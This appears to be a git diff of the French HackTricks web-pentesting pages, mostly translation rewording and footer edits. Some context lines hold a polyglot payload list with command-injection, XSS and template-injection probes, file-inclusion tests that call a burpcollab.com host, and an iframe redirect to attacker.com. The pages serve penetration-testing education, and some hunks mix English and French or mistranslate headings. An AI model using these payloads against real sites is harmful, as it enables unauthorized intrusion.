+Open Redirect -An open redirect vulnerability exists when a web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. This can be exploited by an attacker to redirect users to a malicious site, potentially tricking them into divulging sensitive information. +An open redirect occurs when a web application redirects to a user-supplied link without proper validation. This can be exploited by an attacker to redirect users to malicious websites to perform phishing attacks or distribute malware. -##### Example - -Consider the following Java code snippet: +#### Example ```java -String redirectUrl = request.getParameter("redirect"); -response.sendRedirect(redirectUrl); +response.sendRedirect(request.getParameter("redirectUrl")); ``` -In this example, the `redirect` parameter is directly used in the `sendRedirect` method, making it vulnerable to open redirect attacks. An attacker could craft a malicious link like `http://vulnerable-website.com/?redirect=http://malicious-site.com` to redirect users to `malicious-site.com`. +#### Prevention -##### Prevention - -To prevent open redirect vulnerabilities, always validate and sanitize user input before using it in a redirect. Whitelist allowed domains or URLs, and ensure that the redirect URL belongs to the same domain as the application. +Always validate and sanitize user input before using it to redirect users. Maintain a list of trusted URLs and ensure that the redirect URL belongs to this list. +
```bash response.redirect("http://mysafedomain.com"); ``` ### PHP -#### Open Redirect +#### Redirection ouverte -An open redirect vulnerability exists when a script allows redirection to an external site by directly calling a specific URL in the script. Attackers can exploit this vulnerability to trick users into visiting malicious websites by disguising the URLs. +Une redirection ouverte se produit lorsqu'une application Web redirige l'utilisateur vers une URL spécifiée dans les paramètres de la requête sans validation adéquate. Cela peut être exploité par un attaquant pour rediriger les utilisateurs vers des sites malveillants pour des attaques de phishing ou d'autres attaques. -##### Example - -Consider the following PHP script: +##### Exemple ```php ``` -In this script, the value of the `url` parameter in the query string is directly used in the `Location` header for redirection. An attacker can craft a URL like `http://example.com/redirect.php?url=http://malicious-site.com` to redirect users to a malicious site. +Dans cet exemple, l'URL de redirection est directement extraite du paramètre de requête `url` sans aucune vérification. Un attaquant pourrait donc créer un lien malveillant comme `http://example.com/?url=http://malicious-site.com` pour rediriger les utilisateurs vers un site malveillant. -##### Prevention +##### Prévention -To prevent open redirect vulnerabilities, always validate and sanitize user input before using it to redirect users. Whitelist allowed domains or URLs and ensure that the input adheres to the expected format. Additionally, avoid using user-controlled input directly in sensitive operations like redirection. +Pour prévenir les redirections ouvertes, il est recommandé de toujours valider et filtrer les URL de redirection en s'assurant qu'elles pointent uniquement vers des destinations approuvées. Il est également conseillé d'éviter de passer l'URL de redirection via des paramètres de requête. ```php -Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/pentesting-web/parameter-pollution.md b/pentesting-web/parameter-pollution.md index 36fd7bc83..cc8421083 100644 --- a/pentesting-web/parameter-pollution.md +++ b/pentesting-web/parameter-pollution.md @@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. # Aperçu de la pollution de paramètres HTTP (HPP) -La pollution de paramètres HTTP (HPP) est une technique où les attaquants manipulent les paramètres HTTP pour modifier le comportement d'une application web de manière non intentionnelle. Cette manipulation est effectuée en ajoutant, modifiant ou dupliquant des paramètres HTTP. L'effet de ces manipulations n'est pas directement visible pour l'utilisateur mais peut modifier significativement la fonctionnalité de l'application côté serveur, avec des impacts observables côté client. +La pollution de paramètres HTTP (HPP) est une technique où les attaquants manipulent les paramètres HTTP pour modifier le comportement d'une application web de manière non intentionnelle. Cette manipulation est réalisée en ajoutant, modifiant ou dupliquant des paramètres HTTP. Les effets de ces manipulations ne sont pas directement visibles pour l'utilisateur, mais peuvent modifier significativement la fonctionnalité de l'application côté serveur, avec des impacts observables côté client. ## Exemple de pollution de paramètres HTTP (HPP) @@ -28,28 +28,28 @@ En insérant un paramètre `from` supplémentaire : - **URL manipulée :** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC` -La transaction peut être incorrectement facturée à `accountC` au lieu de `accountA`, démontrant le potentiel de la HPP pour manipuler des transactions ou d'autres fonctionnalités telles que les réinitialisations de mot de passe, les paramètres 2FA ou les demandes de clé API. +La transaction peut être incorrectement facturée à `accountC` au lieu de `accountA`, démontrant le potentiel de la HPP pour manipuler des transactions ou d'autres fonctionnalités telles que les réinitialisations de mot de passe, les paramètres de double authentification (2FA) ou les demandes de clé API. ### **Analyse des paramètres spécifiques à la technologie** -- La façon dont les paramètres sont analysés et priorisés dépend de la technologie web sous-jacente, affectant la manière dont la HPP peut être exploitée. +- La façon dont les paramètres sont analysés et priorisés dépend de la technologie web sous-jacente, ce qui affecte la manière dont la HPP peut être exploitée. - Des outils comme [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) aident à identifier ces technologies et leurs comportements d'analyse. ## Exploitation de PHP et de la HPP -**Cas de manipulation de l'OTP :** +**Cas de manipulation OTP :** - **Contexte :** Un mécanisme de connexion nécessitant un mot de passe à usage unique (OTP) a été exploité. - **Méthode :** En interceptant la demande OTP à l'aide d'outils comme Burp Suite, les attaquants ont dupliqué le paramètre `email` dans la demande HTTP. -- **Résultat :** L'OTP, destiné à l'e-mail initial, a été envoyé à la place à la deuxième adresse e-mail spécifiée dans la demande manipulée. Cette faille a permis un accès non autorisé en contournant la mesure de sécurité prévue. +- **Résultat :** L'OTP, destiné à l'e-mail initial, a été envoyé à la deuxième adresse e-mail spécifiée dans la demande manipulée. Cette faille a permis un accès non autorisé en contournant la mesure de sécurité prévue. Ce scénario met en lumière une lacune critique dans le backend de l'application, qui traitait le premier paramètre `email` pour la génération de l'OTP mais utilisait le dernier pour la livraison. -**Cas de manipulation de la clé API :** +**Cas de manipulation de clé API :** - **Scénario :** Une application permet aux utilisateurs de mettre à jour leur clé API via une page de paramètres de profil. -- **Vecteur d'attaque :** Un attaquant découvre qu'en ajoutant un paramètre `api_key` supplémentaire à la demande POST, il peut manipuler le résultat de la fonction de mise à jour de la clé API. -- **Technique :** En utilisant un outil comme Burp Suite, l'attaquant crée une demande qui inclut deux paramètres `api_key` : un légitime et un malveillant. Le serveur, ne traitant que la dernière occurrence, met à jour la clé API à la valeur fournie par l'attaquant. +- **Vecteur d'attaque :** Un attaquant découvre qu'en ajoutant un paramètre `api_key` supplémentaire à la requête POST, il peut manipuler le résultat de la fonction de mise à jour de la clé API. +- **Technique :** En utilisant un outil comme Burp Suite, l'attaquant crée une requête qui inclut deux paramètres `api_key` : un légitime et un malveillant. Le serveur, ne traitant que la dernière occurrence, met à jour la clé API avec la valeur fournie par l'attaquant. - **Résultat :** L'attaquant prend le contrôle de la fonctionnalité API de la victime, potentiellement en accédant ou en modifiant des données privées de manière non autorisée. Cet exemple souligne davantage la nécessité d'une manipulation sécurisée des paramètres, en particulier dans des fonctionnalités aussi critiques que la gestion des clés API. @@ -61,7 +61,7 @@ La manière dont les technologies web gèrent les paramètres HTTP dupliqués va - **Flask :** Adopte la première valeur de paramètre rencontrée, telle que `a=1` dans une chaîne de requête `a=1&a=2`, en priorisant l'instance initiale sur les doublons ultérieurs. - **PHP (sur le serveur HTTP Apache) :** Au contraire, priorise la dernière valeur de paramètre, optant pour `a=2` dans l'exemple donné. Ce comportement peut faciliter involontairement les exploits HPP en honorant le paramètre manipulé de l'attaquant par rapport à l'original. -# Références +## Références * [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654) * [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) @@ -74,7 +74,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/pentesting-web/phone-number-injections.md b/pentesting-web/phone-number-injections.md index 57b2c6e29..54c3962e6 100644 --- a/pentesting-web/phone-number-injections.md +++ b/pentesting-web/phone-number-injections.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -20,7 +20,7 @@ Il est possible d'**ajouter des chaînes à la fin du numéro de téléphone** q
https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0
-Le **Contournement / Brute-force OTP** fonctionnerait comme suit : +Le **Contournement / Brute-force OTP** fonctionnerait comme ceci :
https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0
@@ -37,7 +37,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/pentesting-web/pocs-and-polygloths-cheatsheet/README.md b/pentesting-web/pocs-and-polygloths-cheatsheet/README.md index 14bd80d73..82d41be3b 100644 --- a/pentesting-web/pocs-and-polygloths-cheatsheet/README.md +++ b/pentesting-web/pocs-and-polygloths-cheatsheet/README.md @@ -1,30 +1,30 @@ -# Techniques de Réflexion - PoCs et Polyglottes CheatSheet +# Techniques de réflexion - Feuille de triche PoCs et Polygloths
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-L'objectif de ces PoCs et Polyglottes est de fournir au testeur un **résumé** rapide des vulnérabilités qu'il peut exploiter si son **entrée est d'une manière ou d'une autre reflétée dans la réponse**. +Le but de ces PoCs et Polygloths est de donner au testeur un **résumé rapide** des vulnérabilités qu'il peut exploiter si son **entrée est d'une manière ou d'une autre reflétée dans la réponse**. {% hint style="warning" %} -Cette **cheatsheet ne propose pas une liste exhaustive de tests pour chaque vulnérabilité**, juste quelques tests de base. Si vous recherchez des tests plus complets, accédez à chaque vulnérabilité proposée. +Cette **feuille de triche ne propose pas une liste exhaustive de tests pour chaque vulnérabilité**, juste quelques-uns de base. Si vous recherchez des tests plus complets, accédez à chaque vulnérabilité proposée. {% endhint %} {% hint style="danger" %} -Vous **ne trouverez pas d'injections dépendantes du Content-Type comme XXE**, car généralement vous les essayerez vous-même si vous trouvez une requête envoyant des données xml. Vous **ne trouverez pas non plus d'injections de base de données** ici car même si certains contenus peuvent être reflétés, cela dépend fortement de la technologie et de la structure de la base de données en backend. +Vous ne **trouverez pas d'injections dépendantes du type de contenu comme XXE**, car vous les essayerez généralement vous-même si vous trouvez une requête envoyant des données XML. Vous ne **trouverez pas non plus d'injections de base de données** ici car même si certains contenus peuvent être reflétés, cela dépend fortement de la technologie et de la structure de la base de données backend. {% endhint %} -## Liste des Polyglottes +## Liste des Polygloths ```python {{7*7}}[7*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} @@ -75,7 +75,7 @@ javascript:"/*'/*`/*-->

THIS IS AND INJECTED TITLE

``` -## [Inclusion de fichier/Parcours de chemin](../file-inclusion/) +## [Inclusion de fichier/Traversée de chemin](../file-inclusion/) ### Tests de base ```bash @@ -123,7 +123,7 @@ C:/windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php ``` -## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/) +## [Redirection ouverte](../open-redirect.md) / [Forge de requête côté serveur](../ssrf-server-side-request-forgery/) ### Tests de base ```bash @@ -141,7 +141,7 @@ javascript:alert(1) ([a-zA-Z]+)*$ ((a+)+)+$ ``` -## [Inclusion côté serveur / Inclusion côté Edge](../server-side-inclusion-edge-side-inclusion-injection.md) +## [Inclusion de côté serveur/Inclusion de côté serveur](../server-side-inclusion-edge-side-inclusion-injection.md) ### Tests de base ```markup @@ -154,13 +154,13 @@ x=>alert(/C ```markup x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` -## [Falsification de Requête Côté Serveur](../ssrf-server-side-request-forgery/) +## [Server Side Request Forgery](../ssrf-server-side-request-forgery/) -Les mêmes tests utilisés pour la Redirection Ouverte peuvent être utilisés ici. +Les mêmes tests utilisés pour la redirection ouverte peuvent être utilisés ici. -## [Injection de Modèle Côté Serveur](../ssti-server-side-template-injection/) +## [Server Side Template Injection](../ssti-server-side-template-injection/) -### Tests de Base +### Tests de base ```markup ${{<%[%'"}}%\ {{7*7}} @@ -222,14 +222,14 @@ javascript:"/*'/*`/*--> -Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +D'autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md index cba1e8b36..179d26e84 100644 --- a/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md +++ b/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md @@ -1,14 +1,14 @@ -# Liste des vulnérabilités Web +# Liste des Vulnérabilités Web
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
```python @@ -52,12 +52,12 @@ javascript:"/*'/*`/*--> -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/pentesting-web/postmessage-vulnerabilities/README.md b/pentesting-web/postmessage-vulnerabilities/README.md index 8181efc6f..da987b773 100644 --- a/pentesting-web/postmessage-vulnerabilities/README.md +++ b/pentesting-web/postmessage-vulnerabilities/README.md @@ -11,7 +11,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -68,7 +68,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html"; ``` ## Exploitation de addEventListener -**`addEventListener`** est la fonction utilisée par JS pour déclarer la fonction qui **attend les `postMessages`**.\ +**`addEventListener`** est la fonction utilisée par JS pour déclarer la fonction qui s'attend à recevoir des **`postMessages`**.\ Un code similaire à celui ci-dessous sera utilisé : ```javascript window.addEventListener("message", (event) => { @@ -95,11 +95,11 @@ Pour **trouver des écouteurs d'événements** dans la page actuelle, vous pouve * Utiliser une **extension de navigateur** comme [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ou [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ces extensions de navigateur vont **intercepter tous les messages** et vous les montrer. -### Contournements de vérification d'origine +### Contournements de vérification de l'origine - L'attribut **`event.isTrusted`** est considéré comme sécurisé car il renvoie `True` uniquement pour les événements générés par des actions d'utilisateurs authentiques. Bien qu'il soit difficile à contourner s'il est implémenté correctement, son importance dans les vérifications de sécurité est notable. -- L'utilisation de **`indexOf()`** pour la validation d'origine dans les événements PostMessage peut être sujette à contournement. Un exemple illustrant cette vulnérabilité est : +- L'utilisation de **`indexOf()`** pour la validation de l'origine dans les événements PostMessage peut être sujette à contournement. Un exemple illustrant cette vulnérabilité est : ```javascript ("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma") @@ -139,7 +139,7 @@ Lors de l'intégration d'une page web dans un **iframe sandboxé** en utilisant En spécifiant **`allow-popups`** dans l'attribut sandbox, toute fenêtre contextuelle ouverte depuis l'iframe hérite des restrictions de sandbox de son parent. Cela signifie que sauf si l'attribut **`allow-popups-to-escape-sandbox`** est également inclus, l'origine de la fenêtre contextuelle est également définie sur `null`, correspondant à l'origine de l'iframe. -Par conséquent, lorsqu'une fenêtre contextuelle est ouverte dans ces conditions et qu'un message est envoyé de l'iframe à la fenêtre contextuelle en utilisant **`postMessage`**, les origines d'envoi et de réception sont définies sur `null`. Cette situation conduit à un scénario où **`e.origin == window.origin`** est évalué à vrai (`null == null`), car l'iframe et la fenêtre contextuelle partagent la même valeur d'origine `null`. +Par conséquent, lorsqu'une fenêtre contextuelle est ouverte dans ces conditions et qu'un message est envoyé de l'iframe à la fenêtre contextuelle en utilisant **`postMessage`**, les origines de l'envoi et de la réception sont définies sur `null`. Cette situation conduit à un scénario où **`e.origin == window.origin`** est évalué à vrai (`null == null`), car l'iframe et la fenêtre contextuelle partagent la même valeur d'origine `null`. Pour plus d'informations, **lire** : @@ -166,7 +166,7 @@ Pour plus d'informations, **lisez :** ### Contournement de l'en-tête X-Frame -Pour effectuer ces attaques, idéalement, vous pourrez **mettre la page web victime** à l'intérieur d'un `iframe`. Mais certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\ +Pour effectuer ces attaques, idéalement, vous pourrez **placer la page web de la victime** à l'intérieur d'un `iframe`. Cependant, certains en-têtes comme `X-Frame-Header` peuvent **empêcher** ce **comportement**.\ Dans ces scénarios, vous pouvez toujours utiliser une attaque moins discrète. Vous pouvez ouvrir un nouvel onglet vers l'application web vulnérable et communiquer avec elle : ```markup